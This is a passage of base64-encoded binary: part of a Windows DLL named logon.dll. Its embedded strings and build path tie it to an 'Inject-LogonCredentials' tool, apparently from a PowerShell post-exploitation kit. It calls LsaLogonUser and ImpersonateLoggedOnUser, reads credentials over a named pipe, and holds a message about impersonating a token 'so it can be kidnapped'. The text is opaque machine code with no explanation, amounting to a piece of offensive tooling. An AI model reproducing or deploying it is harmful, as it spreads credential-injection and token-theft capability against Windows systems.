dAABvcGVyYXRvcgAAAAAtPgAAKgAAACsrAAAtLQAALQAAACsAAAAmAAAALT4qAC8AAAAlAAAAPAAAADw9AAA+AAAAPj0AACwAAAAoKQAAfgAAAF4AAAB8AAAAJiYAAHx8AAAqPQAAKz0AAC09AAAvPQAAJT0AAD4+PQA8PD0AJj0AAHw9AABePQAAYHZmdGFibGUnAAAAYHZidGFibGUnAAAAYHZjYWxsJwBgdHlwZW9mJwAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgc3RyaW5nJwAAAABgdmJhc2UgZGVzdHJ1Y3RvcicAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAgZGVsZXRlW10AAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZ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tAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAABSZWNlaXZlZCBhbiBpbnZhbGlkIGF1dGggcGFja2FnZSBmcm9tIHRoZSBuYW1lZCBwaXBlAAAAAENhbGwgdG8gTHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlIGZhaWxlZC4gRXJyb3IgY29kZTogAENhbGwgdG8gT3BlblByb2Nlc3NUb2tlbiBmYWlsZWQuIEVycm9yY29kZTogAAAAAENhbGwgdG8gR2V0VG9rZW5JbmZvcm1hdGlvbiBmYWlsZWQuAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAExvZ29uIHN1Y2NlZWRlZCwgaW1wZXJzb25hdGluZyB0aGUgdG9rZW4gc28gaXQgY2FuIGJlIGtpZG5hcHBlZCBhbmQgc3RhcnRpbmcgYW4gaW5maW5pdGUgbG9vcCB3aXRoIHRoZSB0aHJlYWQuAAAlbHUAJWQAACVsZAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDABEOAZARAHAAAAUlNEU1ehpZ+qaddOugMQvq7frQoKAAAAQzpcR2l0aHViXFBvd2VyU2hlbGxFeHBlcmltZW50YWxcSW5qZWN0LUxvZ29uQ3JlZGVudGlhbHNcTG9nb25Vc2VyXExvZ29uVXNlclxSZWxlYXNlXGxvZ29uLnBkYgAAAAAAAIkAAACJAAAAAAAAABwwARAAAAAAAAAAAP////8AAAAAQAAAALQWARAAAAAAAAAAAAEAAADEFgEQmBYBEAAAAAAAAAAAAAAAAAAAAAAAMAEQ4BYBEAAAAAAAAAAAAgAAAPAWARD8FgEQmBYBEAAAAAAAMAEQAQAAAAAAAAD/////AAAAAEAAAADgFgEQAAAAAAAAAAAAAAAAODABECwXARAAAAAAAAAAAAIAAAA8FwEQSBcBEJgWARAAAAAAODABEAEAAAAAAAAA/////wAAAABAAAAALBcBEAAAAAAAAAAAAAAAAFgwARB4FwEQAAAAAAAAAAADAAAAiBcBEJgXARBIFwEQmBYBEAAAAABYMAEQAgAAAAAAAAD/////AAAAAEAAAAB4FwEQAAAAAAAAAAAAAAAAeDABEMgXARAAAAAAAAAAAAMAAADYFwEQ6BcBEEgXARCYFgEQAAAAAHgwARACAAAAAAAAAP////8AAAAAQAAAAMgXARAAAAAAAAAAAAAAAACgMAEQGBgBEAAAAAAAAAAAAQAAACgYARAwGAEQAAAAAKAwARAAAAAAAAAAAP////8AAAAAQAAAABgYARAAAAAAAAAAAAAAAAAcMAEQtBYBEAAAAAAAAAAAAAAAALAyARB0GAEQAAAAAAAAAAACAAAAhBgBEJAYARCYFgEQAAAAALAyARABAAAAAAAAAP////8AAAAAQAAAAHQYARAAAAAAAAAAAAEAAABsGQEQyD4BEAAAAAAAAAAA/////wAAAABAAAAArBgBEAAAAAAAAAAAAwAAAOgYARB0GQEQDBkBELwYARAAAAAAAAAAAAAAAAAAAAAA7D4BEMAZARDsPgEQAQAAAAAAAAD/////AAAAAEAAAADAGQEQcD4BEAIAAAAAAAAA/////wAAAABAAAAAkBkBEAAAAAAAAAAAAAAAAMg+ARCsGAEQAAAAAAAAAAAAAAAAcD4BEJAZARC8GAEQAAAAAJw+ARACAAAAAAAAAP////8AAAAAQAAAANgYARAAAAAAAAAAAAMAAADQGQEQAAAAAAAAAAAAAAAAnD4BENgYARAMGQEQvBgBEAAAAAAAAAAAAAAAAAIAAAC0GQEQKBkBEAwZARC8GAEQAAAAAMw1AAD9NQAAoEIAAOB5AABwnwAAULMAAHCzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2IgAQAAAAACAaARACAAAALBoBEEgaARAAAAAAADABEAAAAAD/////AAAAAAwAAADKIQAQAAAAABwwARAAAAAA/////wAAAAAMAAAA7zkAEAAAAAA4MAEQAAAAAP////8AAAAADAAAAAAiABAAAAAAQSIAEAAAAACQGgEQAwAAAKAaARBkGgEQSBoBEAAAAABYMAEQAAAAAP////8AAAAADAAAAOUhABAAAAAAQSIAEAAAAADMGgEQAwAAANwaARBkGgEQSBoBEAAAAAB4MAEQAAAAAP////8AAAAADAAAABsiABD+////AAAAANT///8AAAAA/v///wAAAADaKQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHIsABAAAAAA/v///wAAAADU////AAAAAP7///8KLgAQJC4AEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAAXQQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPRHABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAilAAEP7///8AAAAAllAAEP7///8AAAAA2P///wAAAAD+////AAAAAPpRABD+////AAAAAAlSABD+////AAAAAHz///8AAAAA/v///wAAAABnVQAQAAAAAP7///8AAAAA2P///wAAAAD+////BF4AEAheABAAAAAA/v///wAAAADY////AAAAAP7////QXQAQ1F0AEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABlagAQAAAAACpqABA0agAQ/v///wAAAACw////AAAAAP7///8AAAAAW2AAEAAAAACnXwAQsV8AEP7///8AAAAA2P///wAAAAD+////yWcAEM1nABAAAAAA/v///wAAAADY////AAAAAP7///+cXgAQpV4AEEAAAAAAAAAAAAAAAAhhABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAANQcARAiBZMZAgAAAOQcARABAAAA9BwBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///9HaQAQS2kAEAAAAADiXgAQAAAAAFwdARACAAAAaB0BEEgaARAAAAAAsDIBEAAAAAD/////AAAAAAwAAADHXgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAEFtABAAAAAA/v///wAAAADY////AAAAAP7///95bgAQjG4AEAAAAAD+////AAAAALz///8AAAAA/v///wAAAACocAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHt0ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA/HUAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAADxggAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAABOMABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAARJwAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAB+pQAQAAAAAAAAAABIpQAQ/v///wAAAADQ////AAAAAP7///8AAAAAFacAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAChpwAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAN2vABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA2bAAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABmsQAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAD+yABAiBZMZBAAAAJAfARACAAAAsB8BEAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAIAAAACAAAAAwAAAAEAAADYHwEQAAAAAAAAAAADAAAAAQAAAOgfARBAAAAAAAAAAAAAAADCFgAQQAAAAAAAAAAAAAAAhRYAEGwhAQAAAAAAAAAAAMQhAQAkwQAAXCABAAAAAAAAAAAAPiIBABTAAABIIAEAAAAAAAAAAACoIgEAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeCIBAGQiAQBMIgEAjiIBAAAAAADeIQEA6iEBAP4hAQDQIQEAHiIBACYiAQAyIgEA1CYBAOQmAQD0JgEADiIBAJQkAQC2IgEAxiIBANYiAQDoIgEA/iIBABAjAQAcIwEAMCMBAEwjAQBkIwEAciMBAIgjAQCaIwEAsCMBALwjAQDMIwEA4iMBAO4jAQD6IwEACiQBACIkAQA0JAEAQiQBAGokAQCCJAEACCcBAKokAQDEJAEA2iQBAPQkAQAOJQEAKCUBAD4lAQBaJQEAeCUBAIwlAQCYJQEApiUBALQlAQC+JQEA0iUBAOolAQACJgEAFCYBACYmAQAwJgEAPCYBAEgmAQBWJgEAbCYBAHwmAQCMJgEAnCYBAK4mAQDCJgEAAAAAALQhAQCSIQEAfCEBAAAAAAAmAExzYUNvbm5lY3RVbnRydXN0ZWQALABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACsATHNhTG9nb25Vc2VyAABTZWN1cjMyLmRsbADWAENyZWF0ZUZpbGVXAFgEUmVhZEZpbGUAACMCR2V0Q3VycmVudFByb2Nlc3MAagJHZXRMYXN0RXJyb3IAAOUAQ3JlYXRlTXV0ZXhXAABfBVNsZWVwAB0GbHN0cmxlblcAAPEFV3JpdGVGaWxlAEtFUk5FTDMyLmRsbAAA0wFMc2FOdFN0YXR1c1RvV2luRXJyb3IAEgJPcGVuUHJvY2Vzc1Rva2VuAABvAUdldFRva2VuSW5mb3JtYXRpb24AiQFJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlcgBBRFZBUEkzMi5kbGwAADwBRW5jb2RlUG9pbnRlcgAXAURlY29kZVBvaW50ZXIA4gFHZXRDb21tYW5kTGluZUEAKAJHZXRDdXJyZW50VGhyZWFkSWQAAEgEUmFpc2VFeGNlcHRpb24AALoEUnRsVW53aW5kAIMDSXNEZWJ1Z2dlclByZXNlbnQAiANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AG0DSW50ZXJsb2NrZWREZWNyZW1lbnQAAG0BRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAALUCR2V0UHJvY0FkZHJlc3MAAOwDTXVsdGlCeXRlVG9XaWRlQ2hhcgBWA0hlYXBTaXplAADdAkdldFN0ZEhhbmRsZQAAfQJHZXRNb2R1bGVGaWxlTmFtZVcAAFEDSGVhcEZyZWUAAE0DSGVhcEFsbG9jABcFU2V0TGFzdEVycm9yAABxA0ludGVybG9ja2VkSW5jcmVtZW50AAC6AkdldFByb2Nlc3NIZWFwAABXAkdldEZpbGVUeXBlAGYDSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAeAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgDXAkdldFN0YXJ0dXBJbmZvVwB8AkdldE1vZHVsZUZpbGVOYW1lQQAAPARRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAkAkdldEN1cnJlbnRQcm9jZXNzSWQA9AJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBAAkdldEVudmlyb25tZW50U3RyaW5nc1cAALcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA3QVXaWRlQ2hhclRvTXVsdGlCeXRlAJAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABQBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBvBVRlcm1pbmF0ZVByb2Nlc3MAAIEFVGxzQWxsb2MAAIMFVGxzR2V0VmFsdWUAhAVUbHNTZXRWYWx1ZQCCBVRsc0ZyZWUAgQJHZXRNb2R1bGVIYW5kbGVXAABAAUVudGVyQ3JpdGljYWxTZWN0aW9uAAC9A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADCA0xvYWRMaWJyYXJ5RXhXAACNA0lzVmFsaWRDb2RlUGFnZQC+AUdldEFDUAAAoAJHZXRPRU1DUAAAzQFHZXRDUEluZm8AVANIZWFwUmVBbGxvYwAVBE91dHB1dERlYnVnU3RyaW5nVwAAwwNMb2FkTGlicmFyeVcAALEDTENNYXBTdHJpbmdXAAD2AUdldENvbnNvbGVDUAAACAJHZXRDb25zb2xlTW9kZQAACQVTZXRGaWxlUG9pbnRlckV4AADiAkdldFN0cmluZ1R5cGVXAAAvBVNldFN0ZEhhbmRsZQAA8AVXcml0ZUNvbnNvbGVXAK0BRmx1c2hGaWxlQnVmZmVycwAAjgBDbG9zZUhhbmRsZQAAAAAAAAAAAAAAAAAAAONTiVIAAAAAUicBAAEAAAABAAAAAQAAAEgnAQBMJwEAUCcBAHAXAABcJwEAAABsb2dvbi5kbGwAVm9pZEZ1bmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEzwAQAAAAAC4/QVZiYWRfYWxsb2NAc3RkQEAAxM8AEAAAAAAuP0FWZXhjZXB0aW9uQHN0ZEBAAMTPABAAAAAALj9BVmxvZ2ljX2Vycm9yQHN0ZEBAAAAAxM8AEAAAAAAuP0FWbGVuZ3RoX2Vycm9yQHN0ZEBAAADEzwAQAAAAAC4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